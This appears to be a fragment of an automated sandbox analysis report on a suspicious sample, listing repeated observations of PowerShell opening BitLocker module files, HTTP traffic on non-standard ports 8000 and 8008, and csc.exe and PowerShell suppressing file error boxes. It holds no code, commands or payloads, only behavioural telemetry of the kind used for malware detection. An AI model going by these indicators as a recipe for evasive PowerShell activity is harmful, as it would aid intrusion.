            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
            Uses known network protocols on non-standard ports
            Source: unknownNetwork traffic detected: HTTP traffic on port 49736 -> 8000
            Source: unknownNetwork traffic detected: HTTP traffic on port 8000 -> 49736
            Source: unknownNetwork traffic detected: HTTP traffic on port 49737 -> 8008
            Source: unknownNetwork traffic detected: HTTP traffic on port 8008 -> 49737
            Source: unknownNetwork traffic detected: HTTP traffic on port 49738 -> 8000
            Source: unknownNetwork traffic detected: HTTP traffic on port 8000 -> 49738
            Source: unknownNetwork traffic detected: HTTP traffic on port 49739 -> 8008
            Source: unknownNetwork traffic detected: HTTP traffic on port 8008 -> 49739
            Source: unknownNetwork traffic detected: HTTP traffic on port 49741 -> 8008
            Source: unknownNetwork traffic detected: HTTP traffic on port 8008 -> 49741
            Source: unknownNetwork traffic detected: HTTP traffic on port 49742 -> 8008
            Source: unknownNetwork traffic detected: HTTP traffic on port 8008 -> 49742
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
